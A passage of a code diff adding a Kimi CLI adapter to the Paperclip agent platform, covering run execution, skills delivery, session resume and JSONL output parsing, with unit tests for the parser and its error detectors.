+  const billingType = resolveKimiBillingType(runtimeEnv);
+  const timeoutSec = resolveAdapterExecutionTargetTimeoutSec(
+    executionTarget,
+    asNumber(config.timeoutSec, 0),
+  );
+  const graceSec = asNumber(config.graceSec, 20);
+  await ensureAdapterExecutionTargetRuntimeCommandInstalled({
+    runId,
+    target: executionTarget,
+    installCommand: ctx.runtimeCommandSpec?.installCommand,
+    detectCommand: ctx.runtimeCommandSpec?.detectCommand,
+    cwd,
+    env: runtimeEnv,
+    timeoutSec,
+    graceSec,
+    onLog,
+  });
+  await ensureAdapterExecutionTargetCommandResolvable(command, executionTarget, cwd, runtimeEnv, {
+    installCommand: SANDBOX_INSTALL_COMMAND,
+    timeoutSec,
+  });
+  const resolvedCommand = await resolveAdapterExecutionTargetCommandForLogs(command, executionTarget, cwd, runtimeEnv);
+  const extraArgs = (() => {
+    const fromExtraArgs = asStringArray(config.extraArgs);
+    if (fromExtraArgs.length > 0) return fromExtraArgs;
+    return asStringArray(config.args);
+  })();
+  let restoreRemoteWorkspace: (() => Promise<void>) | null = null;
+  let localSkillsDir: string | null = null;
+  let remoteSkillsDir: string | null = null;
+  let remoteRuntimeRootDir: string | null = null;
+  let paperclipBridge: Awaited<ReturnType<typeof startAdapterExecutionTargetPaperclipBridge>> = null;
+
+  if (executionTargetIsRemote) {
+    try {
+      localSkillsDir = await buildKimiSkillsDir(config);
+      await onLog(
+        "stdout",
+        `[paperclip] Syncing workspace and Kimi runtime assets to ${describeAdapterExecutionTarget(executionTarget)}.\n`,
+      );
+      const preparedExecutionTargetRuntime = await prepareAdapterExecutionTargetRuntime({
+        runId,
+        target: executionTarget,
+        adapterKey: "kimi",
+        timeoutSec,
+        workspaceLocalDir: cwd,
+        installCommand: SANDBOX_INSTALL_COMMAND,
+        detectCommand: command,
+        onProgress: (line) => onLog("stdout", line),
+        onRuntimeProgress: ctx.onRuntimeProgress,
+        assets: [{
+          key: "skills",
+          localDir: localSkillsDir,
+          followSymlinks: true,
+        }],
+      });
+      restoreRemoteWorkspace = () =>
+        preparedExecutionTargetRuntime.restoreWorkspace((line) => onLog("stdout", line));
+      effectiveExecutionCwd = preparedExecutionTargetRuntime.workspaceRemoteDir ?? effectiveExecutionCwd;
+      refreshPaperclipWorkspaceEnvForExecution({
+        env,
+        envConfig,
+        workspaceCwd: effectiveWorkspaceCwd,
+        workspaceSource,
+        workspaceId,
+        workspaceRepoUrl,
+        workspaceRepoRef,
+        workspaceHints,
+        agentHome,
+        executionTargetIsRemote,
+        executionCwd: effectiveExecutionCwd,
+      });
+      remoteRuntimeRootDir = preparedExecutionTargetRuntime.runtimeRootDir;
+      const managedHome = adapterExecutionTargetUsesManagedHome(executionTarget);
+      const managedRemoteHomeDir =
+        managedHome && preparedExecutionTargetRuntime.runtimeRootDir
+          ? preparedExecutionTargetRuntime.runtimeRootDir
+          : null;
+      if (managedRemoteHomeDir) {
+        env.HOME = managedRemoteHomeDir;
+      }
+      // Deliver the synced skills snapshot via --skills-dir (see buildArgs)
+      // from its isolated per-run location instead of copying it over the
+      // shared $KIMI_CODE_HOME/skills home. Overwriting the shared home would
+      // delete Kimi skills installed by the operator or other agents that
+      // Paperclip does not own.
+      if (desiredKimiSkillNames.length > 0 && preparedExecutionTargetRuntime.assetDirs.skills) {
+        remoteSkillsDir = preparedExecutionTargetRuntime.assetDirs.skills;
+      }
+    } catch (error) {
+      await Promise.allSettled([
+        restoreRemoteWorkspace?.(),
+        localSkillsDir ? fs.rm(path.dirname(localSkillsDir), { recursive: true, force: true }).catch(() => undefined) : Promise.resolve(),
+      ]);
+      throw error;
+    }
+  }
+  const runtimeExecutionTarget = overrideAdapterExecutionTargetRemoteCwd(executionTarget, effectiveExecutionCwd);
+  if (executionTargetIsRemote && adapterExecutionTargetUsesPaperclipBridge(executionTarget)) {
+    paperclipBridge = await startAdapterExecutionTargetPaperclipBridge({
+      runId,
+      target: runtimeExecutionTarget,
+      runtimeRootDir: remoteRuntimeRootDir,
+      adapterKey: "kimi",
+      timeoutSec,
+      hostApiToken: env.PAPERCLIP_API_KEY,
+      onLog,
+    });
+    if (paperclipBridge) {
+      Object.assign(env, paperclipBridge.env);
+    }
+  }
+
+  // Local runs deliver desired skills via `--skills-dir` (see buildArgs) from a
+  // dedicated per-run directory, rather than symlinking into the user's
+  // ~/.kimi-code/skills home. This keeps skill loading reliable and isolated
+  // without polluting the operator's Kimi install. Remote runs sync skills into
+  // the remote skills home above, so this only applies to local execution.
+  if (!executionTargetIsRemote && desiredKimiSkillNames.length > 0) {
+    localSkillsDir = await buildKimiSkillsDir(config);
+    await onLog(
+      "stderr",
+      `[paperclip] Prepared ${desiredKimiSkillNames.length} Kimi skill(s) for --skills-dir delivery.\n`,
+    );
+  }
+
+  const runtimeSessionParams = parseObject(runtime.sessionParams);
+  const runtimeSessionId = asString(runtimeSessionParams.sessionId, runtime.sessionId ?? "");
+  const runtimeSessionCwd = asString(runtimeSessionParams.cwd, "");
+  const runtimeRemoteExecution = parseObject(runtimeSessionParams.remoteExecution);
+  const canResumeSession =
+    runtimeSessionId.length > 0 &&
+    (runtimeSessionCwd.length === 0 || path.resolve(runtimeSessionCwd) === path.resolve(effectiveExecutionCwd)) &&
+    adapterExecutionTargetSessionMatches(runtimeRemoteExecution, runtimeExecutionTarget);
+  const sessionId = canResumeSession ? runtimeSessionId : null;
+  if (executionTargetIsRemote && runtimeSessionId && !canResumeSession) {
+    await onLog(
+      "stdout",
+      `[paperclip] Kimi session "${runtimeSessionId}" does not match the current remote execution identity and will not be resumed in "${effectiveExecutionCwd}". Starting a fresh remote session.\n`,
+    );
+  } else if (runtimeSessionId && !canResumeSession) {
+    await onLog(
+      "stdout",
+      `[paperclip] Kimi session "${runtimeSessionId}" was saved for cwd "${runtimeSessionCwd}" and will not be resumed in "${effectiveExecutionCwd}".\n`,
+    );
+  }
+
+  const instructionsFilePath = asString(config.instructionsFilePath, "").trim();
+  const instructionsDir = instructionsFilePath ? `${path.dirname(instructionsFilePath)}/` : "";
+  let instructionsPrefix = "";
+  if (instructionsFilePath) {
+    try {
+      const instructionsContents = await fs.readFile(instructionsFilePath, "utf8");
+      instructionsPrefix =
+        `${instructionsContents}\n\n` +
+        `The above agent instructions were loaded from ${instructionsFilePath}. ` +
+        `Resolve any relative file references from ${instructionsDir}. ` +
+        `This base directory is authoritative for sibling instruction files such as ` +
+        `./HEARTBEAT.md, ./SOUL.md, and ./TOOLS.md; do not resolve those from the parent agent directory.\n\n`;
+    } catch (err) {
+      const reason = err instanceof Error ? err.message : String(err);
+      await onLog(
+        "stdout",
+        `[paperclip] Warning: could not read agent instructions file "${instructionsFilePath}": ${reason}\n`,
+      );
+    }
+  }
+  const commandNotes = (() => {
+    const notes: string[] = ["Prompt is passed to Kimi via -p for non-interactive execution."];
+    notes.push("Added --output-format stream-json for structured headless output.");
+    notes.push("Set headless env (CI=1, NO_COLOR=1, KIMI_CODE_NO_AUTO_UPDATE=1) so unattended runs skip interactive prompts and update preflight.");
+    if (hasNonEmptyEnvValue(env, "KIMI_MODEL_THINKING_EFFORT")) {
+      notes.push(`Set KIMI_MODEL_THINKING_EFFORT=${env.KIMI_MODEL_THINKING_EFFORT} for model ${model}.`);
+    }
+    const effectiveSkillsDir = executionTargetIsRemote ? remoteSkillsDir : localSkillsDir;
+    if (effectiveSkillsDir) {
+      notes.push(`Loading ${desiredKimiSkillNames.length} desired skill(s) via --skills-dir ${effectiveSkillsDir}.`);
+    }
+    if (!executionTargetIsRemote && instructionsFilePath) {
+      notes.push(`Added --add-dir ${path.dirname(instructionsFilePath)} so sibling instruction files are readable.`);
+    }
+    if (!instructionsFilePath) return notes;
+    if (instructionsPrefix.length > 0) {
+      notes.push(
+        `Loaded agent instructions from ${instructionsFilePath}`,
+        `Prepended instructions + path directive to prompt (relative references from ${instructionsDir}).`,
+      );
+      return notes;
+    }
+    notes.push(
+      `Configured instructionsFilePath ${instructionsFilePath}, but file could not be read; continuing without injected instructions.`,
+    );
+    return notes;
+  })();
+
+  const bootstrapPromptTemplate = asString(config.bootstrapPromptTemplate, "");
+  const templateData = {
+    agentId: agent.id,
+    companyId: agent.companyId,
+    runId,
+    company: { id: agent.companyId },
+    agent,
+    run: { id: runId, source: "on_demand" },
+    context,
+  };
+  const renderedBootstrapPrompt =
+    !sessionId && bootstrapPromptTemplate.trim().length > 0
+      ? renderTemplate(bootstrapPromptTemplate, templateData).trim()
+      : "";
+  const wakePrompt = renderPaperclipWakePrompt(context.paperclipWake, { resumedSession: Boolean(sessionId) });
+  const shouldUseResumeDeltaPrompt = Boolean(sessionId) && wakePrompt.length > 0;
+  const renderedPrompt = shouldUseResumeDeltaPrompt || isPaperclipRecoveryWakePayload(context.paperclipWake)
+    ? ""
+    : renderTemplate(promptTemplate, templateData);
+  const sessionHandoffNote = asString(context.paperclipSessionHandoffMarkdown, "").trim();
+  const paperclipEnvNote = renderPaperclipEnvNote(env);
+  const apiAccessNote = renderApiAccessNote(env);
+  const prompt = joinPromptSections([
+    instructionsPrefix,
+    renderedBootstrapPrompt,
+    wakePrompt,
+    sessionHandoffNote,
+    paperclipEnvNote,
+    apiAccessNote,
+    renderedPrompt,
+  ]);
+  const promptMetrics = {
+    promptChars: prompt.length,
+    instructionsChars: instructionsPrefix.length,
+    bootstrapPromptChars: renderedBootstrapPrompt.length,
+    wakePromptChars: wakePrompt.length,
+    sessionHandoffChars: sessionHandoffNote.length,
+    runtimeNoteChars: paperclipEnvNote.length + apiAccessNote.length,
+    heartbeatPromptChars: renderedPrompt.length,
+  };
+
+  const buildArgs = (resumeSessionId: string | null) => {
+    const args = ["--output-format", "stream-json"];
+    if (resumeSessionId) args.push("-r", resumeSessionId);
+    if (model) args.push("-m", model);
+    // Make the agent instructions directory readable so Kimi can open sibling
+    // instruction files (./HEARTBEAT.md, ./SOUL.md, ./TOOLS.md) referenced by
+    // the prepended entry file. Local-only: the directory is a host path that
+    // is not synced to remote execution targets.
+    if (!executionTargetIsRemote && instructionsFilePath) {
+      args.push("--add-dir", path.dirname(instructionsFilePath));
+    }
+    // Load desired Paperclip skills from the dedicated per-run directory
+    // (local snapshot, or the synced remote snapshot) instead of the shared
+    // skills home. Only passed when skills are desired so unconfigured agents
+    // keep Kimi's default skill discovery.
+    const effectiveSkillsDir = executionTargetIsRemote ? remoteSkillsDir : localSkillsDir;
+    if (effectiveSkillsDir) {
+      args.push("--skills-dir", effectiveSkillsDir);
+    }
+    if (extraArgs.length > 0) args.push(...extraArgs);
+    args.push("-p", prompt);
+    return args;
+  };
+
+  const runAttempt = async (resumeSessionId: string | null) => {
+    const args = buildArgs(resumeSessionId);
+    const invocationEnv = buildKimiHeadlessEnv(env);
+    const invocationRuntimeEnv = buildKimiRuntimeEnv(env);
+    const loggedEnv = buildInvocationEnvForLogs(invocationEnv, {
+      runtimeEnv: invocationRuntimeEnv,
+      includeRuntimeKeys: ["HOME"],
+      resolvedCommand,
+    });
+    if (onMeta) {
+      await onMeta({
+        adapterType: "kimi_local",
+        command: resolvedCommand,
+        cwd: effectiveExecutionCwd,
+        commandNotes,
+        commandArgs: args.map((value, index) => (
+          index === args.length - 1 ? `<prompt ${prompt.length} chars>` : value
+        )),
+        env: loggedEnv,
+        prompt,
+        promptMetrics,
+        context,
+      });
+    }
+
+    const eventForwarder = createKimiEventForwardingLog(onLog, onEvent);
+    const proc = await runAdapterExecutionTargetProcess(runId, runtimeExecutionTarget, command, args, {
+      cwd,
+      env: invocationEnv,
+      timeoutSec,
+      graceSec,
+      onSpawn,
+      onRuntimeProgress: ctx.onRuntimeProgress,
+      onLog: eventForwarder.log,
+      runLogTail: paperclipBridge?.runLogTail,
+    });
+    await eventForwarder.flush();
+    return {
+      proc,
+      parsed: parseKimiJsonl(proc.stdout),
+    };
+  };
+
+  const toResult = (
+    attempt: {
+      proc: {
+        exitCode: number | null;
+        signal: string | null;
+        timedOut: boolean;
+        stdout: string;
+        stderr: string;
+      };
+      parsed: ReturnType<typeof parseKimiJsonl>;
+    },
+    clearSessionOnMissingSession = false,
+    isRetry = false,
+  ): AdapterExecutionResult => {
+    const authMeta = detectKimiAuthRequired({
+      stdout: attempt.proc.stdout,
+      stderr: attempt.proc.stderr,
+    });
+    const networkUnavailable = isKimiTransientNetworkError(attempt.proc.stdout, attempt.proc.stderr);
+
+    if (attempt.proc.timedOut) {
+      return {
+        exitCode: attempt.proc.exitCode,
+        signal: attempt.proc.signal,
+        timedOut: true,
+        errorMessage: `Timed out after ${timeoutSec}s`,
+        errorCode: authMeta.requiresAuth
+          ? "kimi_auth_required"
+          : networkUnavailable
+            ? "kimi_network_unavailable"
+            : null,
+        clearSession: clearSessionOnMissingSession,
+      };
+    }
+
+    const parsedError = typeof attempt.parsed.errorMessage === "string" ? attempt.parsed.errorMessage.trim() : "";
+    const stderrLine = firstNonEmptyLine(attempt.proc.stderr);
+    const structuredFailure = describeKimiFailure({
+      errorMessage: attempt.parsed.errorMessage,
+      stderr: attempt.proc.stderr,
+    });
+    const fallbackErrorMessage =
+      parsedError ||
+      structuredFailure ||
+      stderrLine ||
+      (attempt.proc.signal
+        ? `Kimi was terminated by signal ${attempt.proc.signal}`
+        : `Kimi exited with code ${attempt.proc.exitCode ?? -1}`);
+    // A null exit code means the process never exited normally (e.g. killed by
+    // a signal). Timeouts are handled earlier; treat any other non-zero or
+    // null exit as a failure so a signaled kill is never reported as success.
+    const failed = attempt.proc.exitCode === null || attempt.proc.exitCode !== 0;
+
+    // On retry, don't fall back to old session ID — the old session was stale
+    const canFallbackToRuntimeSession = !isRetry;
+    const resolvedSessionId = attempt.parsed.sessionId
+      ?? (canFallbackToRuntimeSession ? (runtimeSessionId ?? runtime.sessionId ?? null) : null);
+    const resolvedSessionParams = resolvedSessionId
+      ? ({
+        sessionId: resolvedSessionId,
+        cwd: effectiveExecutionCwd,
+        ...(workspaceId ? { workspaceId } : {}),
+        ...(workspaceRepoUrl ? { repoUrl: workspaceRepoUrl } : {}),
+        ...(workspaceRepoRef ? { repoRef: workspaceRepoRef } : {}),
+        ...(executionTargetIsRemote
+          ? {
+              remoteExecution: adapterExecutionTargetSessionIdentity(runtimeExecutionTarget),
+            }
+          : {}),
+      } as Record<string, unknown>)
+      : null;
+    const resultJson: Record<string, unknown> = {
+      toolCalls: attempt.parsed.toolCalls,
+      toolResults: attempt.parsed.toolResults,
+      ...(failed ? { stderr: attempt.proc.stderr } : {}),
+    };
+
+    return {
+      exitCode: attempt.proc.exitCode,
+      signal: attempt.proc.signal,
+      timedOut: false,
+      errorMessage: failed ? fallbackErrorMessage : null,
+      errorCode: failed && authMeta.requiresAuth
+        ? "kimi_auth_required"
+        : failed && networkUnavailable
+        ? "kimi_network_unavailable"
+        : null,
+      sessionId: resolvedSessionId,
+      sessionParams: resolvedSessionParams,
+      sessionDisplayId: resolvedSessionId,
+      provider: "moonshot",
+      biller: "moonshot",
+      model: model || null,
+      billingType,
+      resultJson,
+      summary: attempt.parsed.summary,
+      clearSession: Boolean(clearSessionOnMissingSession && !resolvedSessionId),
+    };
+  };
+
+  try {
+    const initial = await runAttempt(sessionId);
+    if (
+      sessionId &&
+      !initial.proc.timedOut &&
+      (initial.proc.exitCode ?? 0) !== 0 &&
+      isKimiSessionUnrecoverableError(initial.proc.stdout, initial.proc.stderr)
+    ) {
+      await onLog(
+        "stdout",
+        `[paperclip] Kimi resume session "${sessionId}" is unavailable; retrying with a fresh session.\n`,
+      );
+      const retry = await runAttempt(null);
+      return toResult(retry, true, true);
+    }
+
+    return toResult(initial);
+  } finally {
+    await Promise.all([
+      paperclipBridge?.stop(),
+      restoreRemoteWorkspace?.(),
+      localSkillsDir ? fs.rm(path.dirname(localSkillsDir), { recursive: true, force: true }).catch(() => undefined) : Promise.resolve(),
+    ]);
+  }
+}
diff --git a/packages/adapters/kimi-local/src/server/index.ts b/packages/adapters/kimi-local/src/server/index.ts
new file mode 100644
index 00000000000..e9c968f4f85
--- /dev/null
+++ b/packages/adapters/kimi-local/src/server/index.ts
@@ -0,0 +1,76 @@
+import type { AdapterSessionCodec } from "@paperclipai/adapter-utils";
+import { sessionCodec as acpxSessionCodec } from "@paperclipai/adapter-utils/acpx-engine/session-codec";
+
+function readNonEmptyString(value: unknown): string | null {
+  return typeof value === "string" && value.trim().length > 0 ? value.trim() : null;
+}
+
+export const sessionCodec: AdapterSessionCodec = {
+  deserialize(raw: unknown) {
+    if (typeof raw !== "object" || raw === null || Array.isArray(raw)) return null;
+    const record = raw as Record<string, unknown>;
+    const sessionId =
+      readNonEmptyString(record.sessionId) ??
+      readNonEmptyString(record.session_id) ??
+      readNonEmptyString(record.sessionID);
+    if (!sessionId) return acpxSessionCodec.deserialize(raw);
+    const cwd =
+      readNonEmptyString(record.cwd) ??
+      readNonEmptyString(record.workdir) ??
+      readNonEmptyString(record.folder);
+    const workspaceId = readNonEmptyString(record.workspaceId) ?? readNonEmptyString(record.workspace_id);
+    const repoUrl = readNonEmptyString(record.repoUrl) ?? readNonEmptyString(record.repo_url);
+    const repoRef = readNonEmptyString(record.repoRef) ?? readNonEmptyString(record.repo_ref);
+    return {
+      sessionId,
+      ...(cwd ? { cwd } : {}),
+      ...(workspaceId ? { workspaceId } : {}),
+      ...(repoUrl ? { repoUrl } : {}),
+      ...(repoRef ? { repoRef } : {}),
+    };
+  },
+  serialize(params: Record<string, unknown> | null) {
+    if (!params) return null;
+    const sessionId =
+      readNonEmptyString(params.sessionId) ??
+      readNonEmptyString(params.session_id) ??
+      readNonEmptyString(params.sessionID);
+    if (!sessionId) return acpxSessionCodec.serialize(params);
+    const cwd =
+      readNonEmptyString(params.cwd) ??
+      readNonEmptyString(params.workdir) ??
+      readNonEmptyString(params.folder);
+    const workspaceId = readNonEmptyString(params.workspaceId) ?? readNonEmptyString(params.workspace_id);
+    const repoUrl = readNonEmptyString(params.repoUrl) ?? readNonEmptyString(params.repo_url);
+    const repoRef = readNonEmptyString(params.repoRef) ?? readNonEmptyString(params.repo_ref);
+    return {
+      sessionId,
+      ...(cwd ? { cwd } : {}),
+      ...(workspaceId ? { workspaceId } : {}),
+      ...(repoUrl ? { repoUrl } : {}),
+      ...(repoRef ? { repoRef } : {}),
+    };
+  },
+  getDisplayId(params: Record<string, unknown> | null) {
+    if (!params) return null;
+    return (
+      readNonEmptyString(params.sessionId) ??
+      readNonEmptyString(params.session_id) ??
+      readNonEmptyString(params.sessionID) ??
+      acpxSessionCodec.getDisplayId?.(params) ??
+      null
+    );
+  },
+};
+
+export * from "./acp.js";
+export { execute } from "./execute.js";
+export { listKimiSkills, syncKimiSkills } from "./skills.js";
+export { testEnvironment } from "./test.js";
+export {
+  parseKimiJsonl,
+  isKimiSessionUnrecoverableError,
+  isKimiTransientNetworkError,
+  describeKimiFailure,
+  detectKimiAuthRequired,
+} from "./parse.js";
diff --git a/packages/adapters/kimi-local/src/server/parse.test.ts b/packages/adapters/kimi-local/src/server/parse.test.ts
new file mode 100644
index 00000000000..6ddf80dc2ea
--- /dev/null
+++ b/packages/adapters/kimi-local/src/server/parse.test.ts
@@ -0,0 +1,198 @@
+import { describe, expect, it } from "vitest";
+import {
+  buildKimiRunSummary,
+  detectKimiAuthRequired,
+  extractKimiRuntimeEvents,
+  isKimiSessionUnrecoverableError,
+  isKimiTransientNetworkError,
+  parseKimiJsonl,
+} from "./parse.js";
+
+describe("extractKimiRuntimeEvents", () => {
+  it("maps assistant content to an assistant snippet event", () => {
+    const events = extractKimiRuntimeEvents('{"role":"assistant","content":"Here is my plan"}');
+    expect(events).toEqual([
+      { eventType: "assistant", message: "Here is my plan", payload: { content: "Here is my plan" } },
+    ]);
+  });
+
+  it("maps tool_calls to tool_call events carrying the tool name", () => {
+    const line =
+      '{"role":"assistant","content":"running","tool_calls":[{"type":"function","id":"t1","function":{"name":"Bash","arguments":"{}"}}]}';
+    const events = extractKimiRuntimeEvents(line);
+    expect(events).toEqual([
+      { eventType: "assistant", message: "running", payload: { content: "running" } },
+      { eventType: "tool_call", payload: { toolName: "Bash" } },
+    ]);
+  });
+
+  it("emits nothing for tool results, meta, and malformed lines", () => {
+    expect(extractKimiRuntimeEvents('{"role":"tool","tool_call_id":"t1","content":"done"}')).toEqual([]);
+    expect(extractKimiRuntimeEvents('{"role":"meta","type":"session.resume_hint","session_id":"s"}')).toEqual([]);
+    expect(extractKimiRuntimeEvents("not json")).toEqual([]);
+  });
+});
+
+describe("parseKimiJsonl", () => {
+  it("collects assistant text from content events", () => {
+    const stdout = [
+      '{"role":"assistant","content":"PAPERCLIP_ADAPTER_TEST_OK"}',
+      '{"role":"meta","type":"session.resume_hint","session_id":"session_769ddab9-0a25-4edd-99f4-cdfebdc90879","command":"kimi -r session_769ddab9-0a25-4edd-99f4-cdfebdc90879","content":"To resume this session: kimi -r session_769ddab9-0a25-4edd-99f4-cdfebdc90879"}',
+    ].join("\n");
+
+    const parsed = parseKimiJsonl(stdout);
+
+    expect(parsed.summary).toBe("PAPERCLIP_ADAPTER_TEST_OK");
+    expect(parsed.sessionId).toBe("session_769ddab9-0a25-4edd-99f4-cdfebdc90879");
+    expect(parsed.errorMessage).toBeNull();
+  });
+
+  it("parses tool calls with JSON-encoded arguments strings", () => {
+    const stdout = [
+      '{"role":"assistant","tool_calls":[{"type":"function","id":"tool_8c1OWyRBe68OMTbWY6NqnkMm","function":{"name":"Read","arguments":"{\\"path\\":\\"probe.txt\\"}"}}]}',
+    ].join("\n");
+
+    const parsed = parseKimiJsonl(stdout);
+
+    expect(parsed.toolCalls).toEqual([
+      { id: "tool_8c1OWyRBe68OMTbWY6NqnkMm", name: "Read", arguments: { path: "probe.txt" } },
+    ]);
+    expect(parsed.summary).toBe("");
+  });
+
+  it("keeps raw arguments when the string is not valid JSON", () => {
+    const stdout = [
+      '{"role":"assistant","tool_calls":[{"type":"function","id":"tool_1","function":{"name":"Bash","arguments":"not json"}}]}',
+    ].join("\n");
+
+    const parsed = parseKimiJsonl(stdout);
+
+    expect(parsed.toolCalls).toEqual([
+      { id: "tool_1", name: "Bash", arguments: "not json" },
+    ]);
+  });
+
+  it("collects tool results keyed by tool_call_id", () => {
+    const stdout = [
+      '{"role":"assistant","tool_calls":[{"type":"function","id":"tool_8c1OWyRBe68OMTbWY6NqnkMm","function":{"name":"Read","arguments":"{\\"path\\":\\"probe.txt\\"}"}}]}',
+      '{"role":"tool","tool_call_id":"tool_8c1OWyRBe68OMTbWY6NqnkMm","content":"1\\thello paperclip"}',
+    ].join("\n");
+
+    const parsed = parseKimiJsonl(stdout);
+
+    expect(parsed.toolResults).toEqual([
+      { toolCallId: "tool_8c1OWyRBe68OMTbWY6NqnkMm", content: "1\thello paperclip" },
+    ]);
+  });
+
+  it("captures the session id from the trailing meta resume hint", () => {
+    const stdout = [
+      '{"role":"assistant","content":"done"}',
+      '{"role":"meta","type":"session.resume_hint","session_id":"session_abc","command":"kimi -r session_abc","content":"To resume this session: kimi -r session_abc"}',
+    ].join("\n");
+
+    expect(parseKimiJsonl(stdout).sessionId).toBe("session_abc");
+  });
+
+  it("uses only the last assistant content as the run summary", () => {
+    // Intermediate "thinking out loud" lines must not be auto-posted as issue comments.
+    const stdout = [
+      '{"role":"assistant","content":"Let me get oriented and check the PRs…"}',
+      '{"role":"assistant","tool_calls":[{"type":"function","id":"t1","function":{"name":"Bash","arguments":"{}"}}]}',
+      '{"role":"tool","tool_call_id":"t1","content":"ok"}',
+      '{"role":"assistant","content":"## Update\\n\\n- Merged PR #25\\n- Burn-in continues"}',
+    ].join("\n");
+
+    expect(parseKimiJsonl(stdout).summary).toBe("## Update\n\n- Merged PR #25\n- Burn-in continues");
+  });
+
+  it("buildKimiRunSummary picks the last non-empty message", () => {
+    expect(buildKimiRunSummary(["first", "second", ""])).toBe("second");
+    expect(buildKimiRunSummary([])).toBe("");
+  });
+
+  it("skips malformed lines without failing the parse", () => {
+    const stdout = [
+      "not json at all",
+      '{"role":"assistant","content":"visible"}',
+      "{broken json",
+      "",
+    ].join("\n");
+
+    const parsed = parseKimiJsonl(stdout);
+
+    expect(parsed.summary).toBe("visible");
+    expect(parsed.sessionId).toBeNull();
+  });
+
+  it("ignores meta events without a session id", () => {
+    const stdout = '{"role":"meta","type":"some.other_meta","content":"noise"}';
+    expect(parseKimiJsonl(stdout).sessionId).toBeNull();
+  });
+});
+
+describe("detectKimiAuthRequired", () => {
+  it("flags device-flow login hints", () => {
+    const result = detectKimiAuthRequired({
+      stdout: "",
+      stderr: "Not authenticated. Run `kimi login` to authenticate with a device code.",
+    });
+    expect(result.requiresAuth).toBe(true);
+  });
+
+  it("flags 401 unauthorized responses", () => {
+    const result = detectKimiAuthRequired({
+      stdout: "",
+      stderr: "Error: 401 Unauthorized",
+    });
+    expect(result.requiresAuth).toBe(true);
+  });
+
+  it("does not flag ordinary output", () => {
+    const result = detectKimiAuthRequired({
+      stdout: '{"role":"assistant","content":"hello"}',
+      stderr: "",
+    });
+    expect(result.requiresAuth).toBe(false);
+  });
+});
+
+describe("isKimiTransientNetworkError", () => {
+  it("matches DNS failures", () => {
+    expect(isKimiTransientNetworkError("", "Error: getaddrinfo ENOTFOUND api.moonshot.cn")).toBe(true);
+  });
+
+  it("matches EAI_AGAIN", () => {
+    expect(isKimiTransientNetworkError("", "getaddrinfo EAI_AGAIN api.moonshot.cn")).toBe(true);
+  });
+
+  it("matches fetch failed", () => {
+    expect(isKimiTransientNetworkError("", "TypeError: fetch failed")).toBe(true);
+  });
+
+  it("does not match unrelated stderr", () => {
+    expect(isKimiTransientNetworkError("", "Some other error")).toBe(false);
+  });
+});
+
+describe("isKimiSessionUnrecoverableError", () => {
+  it("matches unknown session", () => {
+    expect(isKimiSessionUnrecoverableError("", "Error: unknown session 'session_abc'")).toBe(true);
+  });
+
+  it("matches session not found", () => {
+    expect(isKimiSessionUnrecoverableError("", "session session_abc not found on disk")).toBe(true);
+  });
+
+  it("matches failed to resume", () => {
+    expect(isKimiSessionUnrecoverableError("", "failed to resume session session_abc")).toBe(true);
+  });
+
+  it("does not match unrelated stderr", () => {
+    expect(isKimiSessionUnrecoverableError("", "Some other error")).toBe(false);
+  });
+
+  it("does not match transient network errors (those go to isKimiTransientNetworkError)", () => {
+    expect(isKimiSessionUnrecoverableError("", "Error: getaddrinfo ENOTFOUND api.moonshot.cn")).toBe(false);
+  });
+});
diff --git a/packages/adapters/kimi-local/src/server/parse.ts b/packages/adapters/kimi-local/src/server/parse.ts
new file mode 100644
index 00000000000..007e79d6a84
--- /dev/null
+++ b/packages/adapters/kimi-local/src/server/parse.ts
@@ -0,0 +1,236 @@
+import { asString, parseJson, parseObject } from "@paperclipai/adapter-utils/server-utils";
+
+export interface ParsedKimiToolCall {
+  id: string | null;
+  name: string;
+  arguments: unknown;
+}
+
+export interface ParsedKimiToolResult {
+  toolCallId: string | null;
+  content: string;
+}
+
+export interface ParsedKimiJsonl {
+  sessionId: string | null;
+  summary: string;
+  toolCalls: ParsedKimiToolCall[];
+  toolResults: ParsedKimiToolResult[];
+  errorMessage: string | null;
+}
+
+/**
+ * Kimi tool_call `function.arguments` is a JSON-encoded string. Parse it when
+ * possible so downstream consumers see structured input; fall back to the raw
+ * string when it is not valid JSON.
+ */
+function parseToolCallArguments(value: unknown): unknown {
+  if (typeof value !== "string") return value ?? {};
+  const trimmed = value.trim();
+  if (!trimmed) return {};
+  try {
+    return JSON.parse(trimmed);
+  } catch {
+    return value;
+  }
+}
+
+function errorText(value: unknown): string {
+  if (typeof value === "string") return value;
+  const rec = parseObject(value);
+  const message =
+    asString(rec.message, "").trim() ||
+    asString(rec.error, "").trim() ||
+    asString(rec.detail, "").trim() ||
+    asString(rec.code, "").trim();
+  if (message) return message;
+  try {
+    return JSON.stringify(rec);
+  } catch {
+    return "";
+  }
+}
+
+/**
+ * Build the run summary that Paperclip may auto-post as an issue comment.
+ *
+ * Kimi emits many intermediate assistant content lines during a multi-step
+ * agent loop ("Let me check…", tool plans, etc.). Joining all of them produced
+ * 50k+ character issue dumps. Prefer the last non-empty assistant content —
+ * typically the final board-facing wrap-up after the last tool turn.
+ */
+export function buildKimiRunSummary(assistantContents: string[]): string {
+  for (let i = assistantContents.length - 1; i >= 0; i -= 1) {
+    const text = (assistantContents[i] ?? "").trim();
+    if (text) return text;
+  }
+  return "";
+}
+
+/**
+ * Parse `kimi -p ... --output-format stream-json` stdout.
+ *
+ * Verified event shapes (kimi 0.27.0):
+ * - {"role":"assistant","content":"..."}
+ * - {"role":"assistant","tool_calls":[{"type":"function","id":"...","function":{"name":"...","arguments":"{...}"}}]}
+ * - {"role":"tool","tool_call_id":"...","content":"..."}
+ * - {"role":"meta","type":"session.resume_hint","session_id":"...","command":"kimi -r ...","content":"..."}
+ */
+export function parseKimiJsonl(stdout: string): ParsedKimiJsonl {
+  let sessionId: string | null = null;
+  let errorMessage: string | null = null;
+  const textParts: string[] = [];
+  const toolCalls: ParsedKimiToolCall[] = [];
+  const toolResults: ParsedKimiToolResult[] = [];
+
+  for (const rawLine of stdout.split(/\r?\n/)) {
+    const line = rawLine.trim();
+    if (!line) continue;
+
+    const event = parseJson(line);
+    if (!event) continue;
+
+    const role = asString(event.role, "").trim().toLowerCase();
+
+    if (role === "assistant") {
+      const content = asString(event.content, "").trim();
+      if (content) textParts.push(content);
+      const calls = Array.isArray(event.tool_calls) ? event.tool_calls : [];
+      for (const callRaw of calls) {
+        const call = parseObject(callRaw);
+        const fn = parseObject(call.function);
+        const name = asString(fn.name, asString(call.name, "")).trim();
+        if (!name) continue;
+        toolCalls.push({
+          id: asString(call.id, "").trim() || null,
+          name,
+          arguments: parseToolCallArguments(fn.arguments ?? call.arguments),
+        });
+      }
+      continue;
+    }
+
